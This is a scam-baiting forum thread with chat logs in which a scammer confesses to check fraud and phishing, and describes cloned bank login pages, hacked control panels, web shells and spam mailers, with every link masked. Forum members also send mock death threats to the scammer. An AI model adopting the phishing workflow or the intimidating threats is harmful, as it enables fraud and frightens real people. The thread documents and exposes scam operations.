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Yastreb
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PostPosted: Sat May 03, 2008 9:36 pm Reply with quoteBack to top

And still it goes on. I don't think I can take much more of this grovelling:

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Hello Sir
I am pleading for mercy. Spear my life please i beg of you
i didnt do anything bad. Please Peter ruinned my business and my life
Please help me
I am begging for mercy


[Emphasis added]

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PostPosted: Sun May 04, 2008 2:25 am Reply with quoteBack to top

This just sent:

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Do not beg me for help. That sort of talk is for derelicts cadging small change. Where is your pride? Where is your manhood? The more you snivel, the more you grovel, the more determined I am to rid this world of you. Be a man, damn your eyes!

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PostPosted: Sun May 04, 2008 6:01 am Reply with quoteBack to top

Yastreb wrote:
And still it goes on. I don't think I can take much more of this grovelling...


Yes it certainly wears you down after a while. Twisted Evil
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PostPosted: Sun May 04, 2008 6:51 am Reply with quoteBack to top

Ray #1 and I had a 2-hour chat. Here is an abridged version. Ray confessed! Shocked

Quote:
Ray 1: i came here to ask some questions B0v!s
Ray 1: Firstly, do you care about me?
Ray 1: do you like working with me?
Me : Yes. You already asked me this last time. The answer is the same. Yes.
Ray 1: do you enjoy me while you were working for me?
Me : Yes, Ray, I do. Why are you asking this again. Didn't you believe me last time?
Ray 1: good
Ray 1: i do
Ray 1: do yu want me to continue working? or do you want me back in business with you?
Me : I thought you decided to stop.
Me : That's not a decision I can make for you. It's your life.
Ray 1: Yes i decided to stop But S0lom0n wants me back
Ray 1: Do you want me to continue or stop? You are like my brother
Me : I want you to live. And K0sch31 and the Russians will kill you if you keep in this business.
Ray 1: K0sch31 and the Russians wants to get P3ter and they did. they were angry with me that i was unable to get them some data and i made them went thru stress. they taught i was working for P3ter
Ray 1: So tell me what you think
Ray 1: you want me to stop or continue
Me : If K0sch31 is going to kill you, that is too high a price to pay.
Ray 1: yes
Ray 1: Do you want me to stop or continue
Me : I love you, man and it would hurt to see you killed.
Ray 1: i just want to know from you and i will know what to do
Me : Do you want to live? Or do you want to die?
Ray 1: but they got him
Ray 1: I want to Live
Ray 1: they have no busness with me anymore
Me : And you told me yesterday that it doesn't matter. The gang continues, no matter who the leader is.
Ray 1: they already got P3ter
Me : P3ter is gone, and K0sch31 takes his place.
Me : So it's still the same.
Me : You showed me the email from kocie.
Ray 1: K0sch31 wants to avenge by killing p3ter and he did
Ray 1: he is not killing me
Ray 1: why killing me
Me : he is taking over p3ter's business. Ripping you off is part of that.
Ray 1: he is not
Me : You showed me his emails.
Me : He said the strong take and the weak give. And he is strong. That's what he said.


Quote:
Ray 1: I want you to do something for me
Ray 1: you said you cant keep my money with you thats its mine
Ray 1: i want you to come to London with the money
Ray 1: can you do that?
Ray 1: or probably do WU to me
Ray 1: and we will know if they are still on my back
Me : Wow, Ray, we talked about this a long time ago.
Me : But we have to plan carefully.
Me : It's a lot of money.
Ray 1: Look and reason with me B0v!s
Me : Almost $200,000.
Me : We have to do this right.
Ray 1: 5 months now
Ray 1: i have not got anything
Ray 1: i know
Ray 1: wait
Me : Yes. It is frustrating beyond belief.
Ray 1: i know what to do and how i am going to get the money
Ray 1: Oh yeah i remember B0v!s
Ray 1: you said you did wire transfer to them during my absence
Ray 1: did they filled the form?
Me : Dude, you are jumping all over the place. Stick to one thing, or we will never get anywhere. What about going to London?
Me : I think that is your only hope.
Ray 1: Yes
Me : You know damn well the Russians take whenever I try to send.
Ray 1: if you can come to London
Ray 1: you can come with 100k
Ray 1: can you come with 100k to London? make your trip this coming week
Ray 1: its gonna be save and secure
Me : I'll bring 200k.
Ray 1: thats the only plan i have
Me : There's no sense going to all that trouble and only doing half a job.
Ray 1: you want to come with all?
Me : What's the point of taking the effort if we dont' accomplish the whole tihng?
Ray 1: ok
Ray 1: good
Ray 1: when are you planning to come to London?
Me : I'm not planning anything yet. We just started talking about it.
Me : Can you meet me at the airport?
Ray 1: can you prepare on Monday and make your flight on Tuesday
Me : That's pretty short notice.
Me : Yes, make a reservation for a hotel. I'll handle the flight.
Ray 1: I am going to Put you on a good trip. yopu are gonna love it
Ray 1: good. i will make a reservation for you in an hotel.
Ray 1: a 5 star Hotal.


Quote:
Ray 1: so B0v!s what do you think
Me : I think it's the only way.
Me : We spent 5 months trying every other say to send money.
Ray 1: ok
Me : They have a noose around us.
Me : How will I bring all that money?
Me : That's the question.
Ray 1: they are after the money
Ray 1: they are nothing but Scumbags
Ray 1: they only way is coming to London
Me : When I pass through customs, I can't just carry $200k across a border.
Me : How can I do this?
Ray 1: or can you make a wire transfer withi USA?
Ray 1: to someones account
Ray 1: like 10k$ to test him
Me : Why do you keep talking about these failed ideas? We have tried it all.
Ray 1: what if i give you someones location within the USA and you cantact him and give him some cash we can try him with 10k $
Me : No, you tried that and I won't do it.
Me : After all the shit we've been through, I am done "trying" things. I don't trust these other people. Only you.
Me : If i want to give you $200,000, there is no way I'm going to trust some stranger.
Ray 1: B0v!s if you wants to help me, lets try it
Me : Yeah right. "Here, sir, I don't know you. Here's $200k in cash. Please make sure Ray gets it." HA ha, can you imagine such a stupid thing?
Ray 1: you are not giving him all
Ray 1: just 10k to test him


Quote:
Me : Ray, you told me you want me to come to London. Do you want me to or not?
Me : It was your idea.
Ray 1: you can come with the money
Ray 1: they are not gonna stop you
Me : The border agents at customs in the airport will stop me.
Ray 1: lets agree on it
Me : There are laws about bringing cash.
Ray 1: so make enquiries on the flight
Ray 1: and i will make mine here too. the law wont stop you.
Me : You must ask a lawyer how to bring that much money with me.
Ray 1: thats why i said can you come with 100k
Ray 1: 100k is the maximum
Me : No. I'm surprised to hear you say that.
Me : Maybe the other Ray is right about you. Maybe you are a fraud. You say you are from India and you fly all over the world. How can you not know the rules about carrying currency into a country?
Ray 1: so if i am fraud will i know all i am saying?
Me : You obviously DON't know all you're saying.
Ray 1: i am from India and i work and have my company in UK
Ray 1: why wont i know?
Me : that nonsense about bringing 100k into a country is wrong.
Me : Anyone who has flown internationally knows that.
Me : Since you don't know that, I wonder if you've ever taken an international flight in your life.
Ray 1: so you think i am telling lies
Ray 1: you are coming as a business man
Ray 1: OMG
Ray 1: i am gonna make sure i find a better way to get this bastards
Ray 1: this is Bullshit B0v!s
Ray 1: they call you daily and mail you and telling you i am fraud
Ray 1: and you beleive
Ray 1: i send you checks, gives you checks sample.
Me : I didn't believe until you gave me that horseshit about 100k.
Ray 1: Listen and listen good B0v!s......
Ray 1: if i am fruad, i wont contact you or knows about p3ter or others
Ray 1: Listen to me
Ray 1: i will fight with all my strenght. the last breath in me

Here it comes...
Quote:
Ray 1: do you know what is called SCAM
Me : yes.
Ray 1: Advance first level scam
Ray 1: so tell me if you know
Me : A scam is when someone fools you in order to steal your money.
Ray 1: you dont know anything about Advance first level scam
Me : Tell me.
Ray 1: cos if you do. you will know you are living in scam
Me : Are you saying I am a scammer? wtf?
Ray 1: they are scamming you
Ray 1: you are not a scammer
Ray 1: you are a faithful man
Ray 1: i told you day before yesterday
Ray 1: to keep the money
Ray 1: safe your future
Ray 1: all these checks you got are from other peoples accont, their signatures were stolen, and everythig. all the money you have been getting are scammed cash
Ray 1: beleive me ray
Me : OMG, you are a scammer!????
Ray 1: remember Jerseys checks and Alfonso
Me : Yes.
Ray 1: they bounced cos the account onwer press charges
Me : You sent me bad checks?
Ray 1: Look, they will all com to you
Ray 1: not bad checks
Ray 1: goo checks
Ray 1: real checks
Ray 1: we got people money
Ray 1: those people hacked us to steal the money
Ray 1: they all want me to work for them
Ray 1: to teach them
Ray 1: but i refused and they want to fight back be stealing the money
Ray 1: B3llo J0seph and N1ck An3lk@
Me : You are a scammer and you've been using me to scam people all this time? OMG OMG.
Ray 1: they are working for p3ter and they want me to make them rich by teaching them
Ray 1: yes
Ray 1: i was told to do so
Me : They want you to teach them how to scam.
Ray 1: but there is a solution to wipe your clean
Me : I have been helping you to scam people.
Ray 1: yes
Me : How much money did you make?
Ray 1: they respect me and i refused cos i want to stop
Ray 1: crime does not pay
Ray 1: i didnt make an penny
Ray 1: all the money didnt get to me
Ray 1: so its of no use
Ray 1: i want to quit
Me : I know, but you must have other dispatchers too.
Ray 1: i want to stop
Ray 1: turn a good living
Ray 1: B0v!s i am a fucking bad ass man
Ray 1: Please forgive me
Ray 1: stop sending checks and take the rest casn and strt a new life
Ray 1: contact Doctor
Ray 1: he will help you
Me : I contacted Doctor. He is a useless prick.
Ray 1: you are the only one i trust
Ray 1: you are the only one i work with
Ray 1: no other ones


Quote:
Ray 1: i know you work for FBI
Ray 1: i know you B0v!s
Ray 1: we have met
Ray 1: but you dont know me
Ray 1: you need to give Doctor your phone number
Me : You think I work for the FBI?
Ray 1: let me talk to you
Ray 1: I know you worked for them. B0v!s i am telling you the truth here, i am nt joking
Me : You think I work for the FBI? Are you joking?
Ray 1: B0v!s
Ray 1: Let this people work in vain
Me : You are telling me you are a scammer and I work for the FBI.
Ray 1: dont let them get you
Ray 1: they can only treathened you
Me : Now I know you are on drugs.
Ray 1: they cannot touch you
Ray 1: i am not fucking on drugs
Ray 1: Listen to me B0v!s
Ray 1: you think i am joking here
Me : I'm listening, but I can't believe the stories you are telling.
Me : You are a scammer, I am FBI, Doctor will save me.
Me : It's all such a fantasy.
Ray 1: i mde my research. they told me you are an FBI agent. but i tried to make some research but still dint get any fact
Ray 1: B0v!s, i wil not tell you nothing more
Ray 1: you are not a kid
Ray 1: Doctor can wipe you clean
Ray 1: I am a crook
Ray 1: contact him
Ray 1: a big time scammer
Me : If I am FBI, then I would not need to be wiped clean.
Ray 1: who made nothing
Ray 1: so i want to quit
Me : Are you saying you want to quit because you think I am FBI and you are trying to impress me?
Ray 1: they tried to scan some files but it didnt show your true picture so they said you are FBI. i never beleived yet
Ray 1: but the way you talk at times makes me think you are
Ray 1: i am not tissing you
Ray 1: B0v!s....
Ray 1: do not fucking sand any shit to anyone
Me : When I was a kid, I once thought I wanted to grow up to be in the FBI.
Me : I don't know what you are saying anymore.
Me : You say so many different things.
Ray 1: oh i see
Me : Why did you invite me to London if I you think I am FBI?
Me : Why did you tell me you are a scammer if you think I am FBI?
Ray 1: you cant get me
Ray 1: you can never reach me even if you come to London
Ray 1: you can never see my face
Ray 1: i dont want to stress you
Ray 1: i dont want to waste you time or risk your life
Ray 1: i am human
Ray 1: i have hurt many people
Ray 1: i dont want to do this anymore
Ray 1: i am turning a new life
Ray 1: B0v!s
Me : yes
Ray 1: take the money and start a new life urself
Me : You are dribbling out random thoughts that make no sense.
Ray 1: Talk to me B0v!s
Ray 1: the man calling you
Ray 1: he is a ascammer
Me : If you really think I am FBI, why do you tell me to take the money? You know an FBI cop won't steal the money.
Ray 1: no one is legit
Ray 1: they will still come
Ray 1: many of them will come
Ray 1: i cant be working and you working and they making the cash
Ray 1: Listen B0v!s
Me : That's what I've been telling you for 5 months.
Me : Yes, I'm listening.
Ray 1: go give it to the charity
Ray 1: so God can be pleased with me


Quote:
Me : Ray, please stop and listen for a second.
Ray 1: i have turn a new life
Me : Are you listening?
Ray 1: ok
Ray 1: i am listenning
Me : Good.
Me : I want you to stop and think.
Ray 1: yes go on
Me : I want you to stop making up stories.
Me : God is listening to this conversation we are having.
Me : Jesus is listening.
Me : Do you understand?
Me : They know.
Me : So I want you to stop telling stories and just tell the truth.
Me : There is no shame in being in the FBI. I admire FBI policemen.
Me : But I am not one of them.
Ray 1: I swear to you in God's name. Jesus Christ is my withness..... i am telling you the truth
Me : So I want to know something. Stop typing.
Me : Listen.
Ray 1: i swear to you and to God
Me : Now I am asking a simple question, and God and Jesus are listening to the answer.
Me : Are you a scammer?
Me : Now you can type the answer.
Ray 1: Yes i am a scamer
Me : How long have you done this?
Ray 1: i am a big time scammer. but i am quitting
Me : The truth, please.
Ray 1: 6 months
Me : Just the truth.
Me : How old are ou?
Ray 1: i started November. thats when i get to know the real you. i am 32 yrs old [I say he's 25.]
Me : You never did any scamming before you met me?
Me : The truth, please.
Ray 1: i was clean. i was employed to do it. they saw good potentials in me and want to exploit me. i realised lately
Ray 1: i am fucking good when it comes to COmputer works. but i am not good in programming and not much in hacking. i can hack into banks, and some datebase, accounts and some shits.i read the exploits
Ray 1: so they wants to use me to ruine many liefs and promised me some good cash which they never did but to exploit me. they got what they need and free me but i realised lately i have been working and making no cash. so i want to stop
Ray 1: there is no textile company in London or anywhere.
Ray 1: i cloned the site http:[email protected]!ndia.com
Me : This is a very emotional thing for me to hear.
Ray 1: answer me
Me : I am hear, bro.
Me : I am trying absorb all you are saying.
Ray 1: do you trust me or beleive me
Me : I still love you, man.
Ray 1: B0v!s i am not fuvking joking
Me : So the Doctor. He is fake, too, huh.
Ray 1: Scamming is the only way to get cash fast man. many people are making loads of it but mine is not like it
Ray 1: Doctor is not fake [Yes he is. He has the same IP as Ray 1.]
Ray 1: he is real
Ray 1: he can save you from those chasing you
Me : Please Ray. For God and Jesus and me, tell the truth.
Me : Doctor is fake, isn't he?
Me : God hates the sin but loves the sinner.
Ray 1: He is not fake
Ray 1: he is real
Ray 1: i am not telling you lies B0v!s
Me : What about S0lom0n?
Ray 1: He is real
Me : And David?
Me : The truth, please.
Ray 1: there is no David, there is no Ray. its me S0lom0n [No. He is Ad3ntuj1 [email protected], not S0l0mon.]
Ray 1: i did all the job
Ray 1: my fake name is [email protected] [email protected]
Ray 1: and i also lied to be David
Ray 1: its stil the same me
Ray 1: dont you notice my voice on Phone ???
Me : Ha ha, didn't you try to change your voice?
Ray 1: call this number if you dont trust me
Ray 1: +234xxxxxxxxxx
Me : That's your number.
Ray 1: dont you know there is a way you ca use multiple voice on phone
Ray 1: you are not that sencitive. there is no way they can change voice and i wont know
Ray 1: i know my ascent
Me : You mean you have a machine that changes your voice on the phone?
Ray 1: Talk with ur nose blocked.
Me : You are S0lom0n and Raymond and David all in one person.
Ray 1: no need to use a machine
Me : Really? You held your nose while talking on the phone?
Ray 1: i can talk like an Indian, like a Nigerian, Like and American, Like a british..... i am fucking good at those
Me : Wow.
Me : Now tell me about the other Raymond. Who is he?
Ray 1: they want to get the money from you
Ray 1: its b3ll0 J0s3ph
Ray 1: he is in Nigeria
Ray 1: he lied
Me : Do you know it's b3ll0 j0s3ph, or do you just assume that?
Me : Ray?
Ray 1: i know its him
Me : How do you know?
Ray 1: he told me to work with him or else he will get the money
Me : Ray, please don't say you know something unless you really know it. This is something you assume but you don't know.
Ray 1: he contacted me
Ray 1: he got all those laptops you sent
Ray 1: the packages were ment to come to Ibadan
Ray 1: it was collected in lagos
Ray 1: immedaitely it got to lagos
Ray 1: they took it
Me : Why did you tell me you got the second shipment when you really did not?
Me : That was a senseless lie to tell.
Ray 1: cos if i tell you, you will not want to ship again and think i am telling lies


He told me more of his scamming activities in a later chat, but I'll stop here.

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PostPosted: Sun May 04, 2008 9:24 am Reply with quoteBack to top

That is truly incredible, DD. You'd make a great interviewer!

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PostPosted: Sun May 04, 2008 9:54 am Reply with quoteBack to top

Superb work Dog Dine!

Ray 1 is a mass of conflicting information and emotions. I'd like to believe some of what he is saying but he's a skilled liar. His undeniable belief in B0v1s and the Russian connection has been the mainstay of this bait.
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PostPosted: Sun May 04, 2008 12:56 pm Reply with quoteBack to top

This was so enjoyable to see! Very Happy
Quote:
Me : You are a scammer and you've been using me to scam people all this time? OMG OMG.
Ray 1: they are working for p3ter and they want me to make them rich by teaching them
Ray 1: yes
Ray 1: i was told to do so
------
Me : I have been helping you to scam people.
Ray 1: yes
---------
Ray 1: crime does not pay
----
Ray 1: i want to quit
Ray 1: i want to stop
Ray 1: turn a good living
Ray 1: B0v!s i am a fucking bad ass man
-----
Ray 1: I am a crook
Ray 1: a big time scammer
Ray 1: who made nothing
Ray 1: so i want to quit

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Ray 1: go give it to the charity
Ray 1: so God can be pleased with me
------
Ray 1: i have turn a new life


But, we all know that Ray is a lier. This latest attempt is a desperate one, and they think a clever one. Their Doctor of Email wants the cash, you can bet on that. Ok, let's play that little game....his "help" should be very amusing.

Excellent chatting skills, DD, and I would really like to see the rest of the chat of his scamming activites. Very Happy clapping

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PostPosted: Sun May 04, 2008 8:22 pm Reply with quoteBack to top

Ray #1 continued his confession in a later chat yesterday.

Quote:
Ray 1: i am telling you the real story and the truth about all what has been happeneing
Ray 1: you have every reason to ignore me. to stop talking to me. but there are many you need to know
Ray 1: i have proofs and evidence to show you
Ray 1: Now you know the truth
Ray 1: DO you still like me and trust me?
Me : I don't know. I have to hear more.
Me : What happened when you disappeared?
Me : When you claimed you went to India.
Ray 1: i was sick
Ray 1: you shld know
Me : I'm sorry to hear that. I hope you are better now.
Ray 1: that was why they got you. they emailed you to get the money thinking i step out
Ray 1: i am better now
Ray 1: thanks
Ray 1: you still care about me


Quote:
Me : You say you started scamming when a boss hired you.
Ray 1: the Boss requested i hacked into a bank for him and i did
Me : How did you do that?
Ray 1: its simple
Ray 1: hacking into banks is so simple
Ray 1: do you know what they call scampages?
Me : No.
Ray 1: there are something they call scampages, there is something we call shell and mailer. we Buy email list.
Ray 1: look at this
Ray 1: this is a cpanel
Ray 1: http://xxxxx/cpanel
[login and password]
Ray 1: its a site we hacked
Ray 1: try to log in and see
Me : OK, I'll try.
Me : I logged in, but I don't understand what I'm seeing.
Ray 1: were you able to logged in
Ray 1: good thats someone sites admin control panel
Ray 1: u see that control panel
Me : Yes, what is it for?
Ray 1: you can upload scam inside the site and u spam with it
Me : You use this site to send out spam emails?
Ray 1: yes
Ray 1: and also Host scams [I assume he means it hosts fake bank login pages for capturing people's passwords.]
Me : What does it mean to host scams?
Ray 1: its complicated
Ray 1: you cant understand all this
Me : I"m smart. I can figure it out.
Me : Tell me. I'll understand.
Ray 1: you cant B0v1s
Ray 1: trust me
Ray 1: i wish i have some scampages here and more shell
Ray 1: i will show and teach you
Me : Don't treat me like a little kid or an idiot.
Ray 1: i delete all cos i already told you
Me : don't tell me I can't understand. If you explain, I can understand.
Ray 1: you will and can understand only understad if i have those files to teach you
Me : OK, we'll have to do that another time. I will have to leave soon.
Me : But I'm curious, is A5hl3y a scammer too?
Ray 1: A5hl3y is not
Ray 1: she donesnt know anything abt scam
Me : Oh, so she is another innocent dispatcher.
Ray 1: just like you
Me : What name did you use with her?
Ray 1: it was not me
Ray 1: John contact her
Ray 1: and Thats John's real name
Me : No it's not. Even I know it's not his real name.
Ray 1: John 0l@ is the real name
Ray 1: i wont lie to you
Me : Where is he?
Ray 1: he is i lagos
Ray 1: hey hey hey
Me : What?
Me : Do you think I'm going to send the cops to get him?
Ray 1: You think i am telling lies
Ray 1: i am making a true confession here
Me : I appreciate that. It is very moving to hear.
Me : But I don't think you are 32.
Ray 1: i dont know more
Ray 1: oh you think i am telling lies
Ray 1: how old do you think i am
Me : Maybe 25, 26, maybe 27. From the sound of you.
Ray 1: i am 32
Ray 1: i told you
Ray 1: i have a great voice
Me : You have to understand. Trust is hard to earn and easy to lose.
Me : If you tell me a lie, it destroys trust in everything else you say.
Ray 1: i know
Me : I love you man and I want to believe you.
Ray 1: you didnt know all these from the beginning did you?
Me : But if you rub my nose in a lie, it destroys your credibility.
Ray 1: i am telling you the facts
Ray 1: i am for real
Me : OK, man, and I love that you are opening up to me.
Ray 1: and for real i am telling you the fact
Ray 1: you didnt charm me or do you think i can be stupid? i want to be clean and i am
Me : So you're not getting married.
Ray 1: i will when i have money and a good business
Ray 1: I planned to set up a big business and a good job. i am a graduate it hard to get job here so i hard to do what i did
Me : Where did you graduate from?
Ray 1: University of Ibadan
Me : What was your major?
Ray 1: Economics and Statistics. but i am good in Computer


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Ray 1: i am jobless
Ray 1: i borrow cash to pay for my access
Me : How do you pay for your home?
Ray 1: i am broke
Ray 1: fucking broke
Ray 1: i am on loan
Ray 1: i am even planning to sell my laptop and my access
Ray 1: cos my payment will be due soon
Me : What about your house?
Me : How can you pay for that?
Ray 1: i need a job
Ray 1: good one
Ray 1: i am indebt
Me : Who do you owe money to?
Ray 1: friends
Ray 1: they borrow me
Me : Where do they get money?
Ray 1: they work
Ray 1: legitly
Me : They must be very patient. Did you ever have a job after you graduated?
Ray 1: yes
Ray 1: but the compnay collapse
Ray 1: due to mis management of funds
Ray 1: They like me, they respect me, the love me. they even feed and cloth me
Ray 1: i hae friends
Me : Oh, you are living in your friends house?
Ray 1: no
Ray 1: i am alone
Ray 1: in my room
Ray 1: itss just a room
Me : You rent the room?
Ray 1: yes
Me : How much does that cost?
Ray 1: do you know Nigerian currency?
Ray 1: Naira*
Ray 1: that 120 naira for 1 $
Ray 1: ad it cost me 120thousand for a year. thats a thousand $ for a whole year
Ray 1: with Electricity accessand water and security
Me : That's not bad.
Me : OK, bro, I really have to go in a minute. But I am curious.
Me : If I had been able to send you the $200,000, what would you have done with it?
Ray 1: set up a big business
Ray 1: pay up my bills
Me : What kind of business?
Ray 1: a water making industry, Brick industry and some farm business like poulty and pig rearing and also hep me parents and family
Ray 1: i am business oriented

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PostPosted: Sun May 04, 2008 8:32 pm Reply with quoteBack to top

@DD ... most excellent. Well done on that confession and the whole bait clapping Truly excellent baiting Cool

I think its time for N1ck to send another message to Ray - if he thinks that N1ck and P3te were working together, N1ck must be most unhappy at P3te's early demise. Perhaps I should look at the ex-gay lovers theory from 20+ pages back!!!
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PostPosted: Sun May 04, 2008 8:45 pm Reply with quoteBack to top

Ray #2 is getting suspicious of my fake courier. I used it to send $9,800 of postal money orders to someone in the US. The last tracking entry shows the shipment was 'collected by recipient' instead of 'delivered', implying that a thief went to the Fedex office and got it.

Ray #2 wrote:
well, I investigated the telephone line provided on the website of [my fake courier] through intelius, (206) xxx-xxxx is a landline registered to an individual in Seattle, WA. The provider is International Telcom, Ltd. I'm sure this piece of information will certainly help your investigation.

I recruited you a couple of months back and we have both done real fine in this business. I have come to respect your judgement and I admire your courage especially the way you handle issues when things went sour. No doubt we have made money and we can still make more, unfortunately, I can't even enjoy any part of this simply because I don't have access to my money. Although, this is not your fault but I can't continue to work and get no pay.

I am willing to continue doing business with you if you are ready to play the game by the rules. We both know that if you get a supply of new checks and clients, we will receive more payments and that's more money for us both. I will send you a new list of clients in addition to the last 12 names I sent to you and I will also consider your suggestion to sign up new guys (your friends) for check cashing. But first, I need you to re send the money orders again tomorrow but this time, you will follow my instructions. [He wants me to ship via Fedex directly, not using my fake freight forwarder.] Also, I want you to complete the shopping for me tomorrow. The wedding in India is just a few weeks away.

Think about it for a second, the friendship we have established is more than any amount of money. Together, we can make lots more !

Did you mail the checks yesterday ? Please make sure you send the tracking numbers to the recipients, at least that way, we know when they receive the checks.


I'm going to bring in some bigger problems. 8 more people's checks bounced. And a bank employee tipped me off that the IRS (the US tax agency) is inquiring about my bank account due to suspicious cash transactions.

I haven't told him about these problems yet. I emailed him this morning that we have a major problem, but didn't say what. When we started to chat on AIM, he dropped the connection in the middle of our chat. He later emailed me with an excuse that a virus shut down his system but he was ready to chat again. To hell with him, I'll let him stew until tomorrow (Monday). By then, I will learn that the IRS has frozen my account.

Meanwhile, it's finally time for Ray #2 to get some direct communication from one of the hacker/choppers. J0seph B3ll0 wrote to Ray #2:
J0seph B3ll0 wrote:
Good work chopping [email protected]@je [Ray's real name] dolla, but u don't know what ur getting into, little boi.

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PostPosted: Sun May 04, 2008 8:57 pm Reply with quoteBack to top

@DD. Let me know if you want N1ck to make contact with Ray 2 as well to give him an indication of the fun he's got himself into ....

Meanwhile, to Ray1:

Quote:
I've found out that Peter is dead. You bastard. I will track you and that American friend of yours down. The remaining 200K will be mine.

I was willing to help you but you turned my help down. Wrong decision.

Hand over the 200K and I might spare your life. Ignore me at your peril. I know all about you - your face, your name, your address, your age, your qualifications. Think carefully.
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PostPosted: Sun May 04, 2008 9:33 pm Reply with quoteBack to top

Careful, arranblonde, or you'll be getting something like this (just in):

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I have to beg you.
i didnt cross your path. i didnt do anything. i am to appreciate you for helping me. and i want to also ask for mercy so you can free me. why do you want me dead? I didnt do anything
Please for God sake i beg of you


ETA - K0sch31 replied:

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You sad, snivelling little wretch - how could you have ever hoped to succeed? Were you a man I could have been lenient - but your endless grovelling fills me with disgust.

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PostPosted: Sun May 04, 2008 11:16 pm Reply with quoteBack to top

Wow. Bloody Hell. That's quite a confession. He obviously trusts Bo<is a heap, and feels he's built enough of a bond to come clean. I have to congratulate everyone on turning a boi from crime to dispair, at least in weepy love-in moments.

DD - I have some questions for Bo<is to ask 1.0 whilst he's confessing all...
1) Who gave him what evidence that Bo<is was FBI? Can you get a copy (verrrry cool trophy!)
2) Where is Doctor of Email based? Is he also in Lagos? (we know he is, or at least on the same network - IP addresses are *not* unique to computers)
3) Why did 1.0 try to make you a criminal? The only answer is to give every penny to charity (I gather the church of TWAT can use the cash...)
4) Can you find out more about the scammers facilities (that website and similar ones - I'm happy to take a technical look and see if there are any easy ways we can identify other instances of the site running online so we can possibly even semi-automate takedowns). I'm particularly keen to hear the technical details as that'll build the baiter knowledge base, and may lead to new modalities. Bo<is needs to get his clever head on Wink I used to do clever stuff freelance IT stuff for MS, I'm excited to think we can study the processes and make ourselves more efficient in nobbling these guys - maybe more 'crime does not pay' guys...

And the question we can never ask, but would make me laugh - would it break his heart to read this thread and realise he's been played good and proper Wink

Wow, what an emotional end to a chapter. I wonder if Bo<is's love can turn 1.0 into a "poacher turned gamekeeper", and form a bond to right wrongs, use 1.0's "amazing" IT prowess (not *that* amazing if he swallowed some of the crap he's been fed...) to fight for good etc. It's a nice dream at least. Most interesting that he used "god hates the sin but loves the sinner" - this must be how the lads justify this to themselves.
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PostPosted: Mon May 05, 2008 1:03 am Reply with quoteBack to top

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And the question we can never ask, but would make me laugh - would it break his heart to read this thread and realise he's been played good and proper

Wow, what an emotional end to a chapter. I wonder if Bo<is's love can turn 1.0 into a "poacher turned gamekeeper", and form a bond to right wrongs, use 1.0's "amazing" IT prowess (not *that* amazing if he swallowed some of the crap he's been fed...) to fight for good etc. It's a nice dream at least. Most interesting that he used "god hates the sin but loves the sinner" - this must be how the lads justify this to themselves.
My answer to your question.... I'm sure it would not break his heart, as Ray really doesn't have one. And we will never tell him he was baited. I'm sure all his buddies would love to know just how we were able to accomplish wasting so much of Ray's time.

Your next thought is very intriguing. Could we actually get Ray to give up more secrets, and turn against the scammers, actually taking down sites, ratting on all his kind of scum, and have God smile on him for once in his life? Nah....what a fantasy that is....

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PostPosted: Mon May 05, 2008 5:53 am Reply with quoteBack to top

manbiteslion wrote:
Who gave him what evidence that Bo<is was FBI? Can you get a copy (verrrry cool trophy!)

In my opinion, he did not have any evidence that I was FBI. That was just bullshit he tossed off to see my reaction.

manbiteslion wrote:
Where is Doctor of Email based? Is he also in Lagos? (we know he is, or at least on the same network - IP addresses are *not* unique to computers)

On the one day Doctor sent me emails, his IP was the same Kenya IP that Ray1 has had consistently on and off over the months. So I'm quite sure Doctor = Ray1. Based on a couple of things, I'm pretty sure Ray1 is in Ibadan.

manbiteslion wrote:
Can you find out more about the scammers facilities

Ray1 has already obliged. See the chat below.

manbiteslion wrote:
And the question we can never ask, but would make me laugh - would it break his heart to read this thread and realise he's been played good and proper Wink

When he was bragging about his exploits, I sure was tempted to rub his nose in the fact that he's had the sh!t baited out of him. But SlapHappy is right, there's no sense educating him in any way. Plus, it's slightly possible that we've made him think that scamming is a hard way to earn money. If he finds he's been baited, he might think, "Oh so THAT was the problem. All I have to do is avoid baiters and I can scam my way to easy riches."

Here is my latest - and probably final - chat with Ray1. It contains a scamming lesson. I masked the URLs Ray gave me, but I'm happy to send the whole chat transcript to anyone who wants it.

Quote:
Ray1: do you beleive al what i said yesterday? do you trust me B0v!s and do you still like me?
Me : I'm in a bad mood. More checks bounced.
Me : 8 more people.
Ray1: oh sorry
Me : Thanks a lot.
Ray1: whats their names? and how much was it
Me : You say all the money is mine? That is bullshit. All the checks will eventually bounce. Guess who they will come to for reimbursement? Me!
Ray1: No No NO... i saw this coming i wanted to tell you
Ray1: but you went for a game yesterday
Ray1: 15 checks are meant to bounce
Ray1: 8 bounced and 3 bounced ealier
Ray1: 4 more people will contact you and there wont be any more problem
Ray1: all is wiped. i hacked into the account and i saw it
Me : That's the horseshit story you told me last time. And the time before that.
Ray1: the rest cash is yours and you will be free

Quote:
Ray1: B0v!s.... you better listen
Ray1: if you beleive me
Ray1: Remember i told you i want to show you a sample to know its scam
Ray1: look this
Ray1: this is what we call Mailer
Ray1: we used in sending scams emails
Ray1: http://xxxxxxxxxxxxxx
Ray1: look at this
Ray1: this is what we call shell.
Ray1: http://xxxxxxxxxxxxxx
Ray1: we use shell for uploading scams
Ray1: this is also a mailer
Ray1: http://xxxxxxxxxxxxxx
Ray1: can u see them?
Ray1: now let me show you something impressive
Ray1: this is how i hack into banks. peoples account details
Ray1: lets take USbank for an example
Me : Yes, all the checks were on US Bank.
Ray1: yes
Ray1: cos i spamed it out
Ray1: http://xxxxxxxxxxxxxx
Ray1: click on that
Ray1: its a cloned site for USbank website
Ray1: so we send this to people and they filled their login details in it and we have access to login into their account
Ray1: and do anything we want with it
Ray1: can u see
Me : Yes. Jesus. This is powerful.
Ray1: i used this site as my server
Ray1: http://xxxxxxxxxxxxxx
Ray1: http://xxxxxxxxxxxxxx
Ray1: and thats the scam link
Ray1: no do you beleive me with all these proofs ???
Me : The first link you showed me looks like an email sending page.
Ray1: i am a computer psyco. i can be called a Genious
Me : But it doesn't have a place for who you send TO.
Ray1: yes it it. we used it to send that link i show you. we buy email list or hack email from admin
Ray1: and send to people. only people who are foolish and stupid dill their informations with it. banks has warned them several times not to but they never listen
Me : How much does it cost to buy an email list?
Ray1: i dont buy
Ray1: i hacked and extract. i told you i do hack email list
Me : Where do you hack email lists?
Ray1: click on this
Ray1: http://xxxxxxxxxxxxxx
Ray1: you wil see names, address and locations with phone numbers and zip code with their emails there
Me : Yes, it is a list of people. Who does it belong to?
Ray1: it belongs to a website admin
Ray1: thats is already hacked
Me : Where did you get it?
Ray1: i hacked it
Me : How?
Ray1: http://xxxxxxxxxxxxxx
Ray1: its my Knowledge
Ray1: i read expliots
Ray1: wait
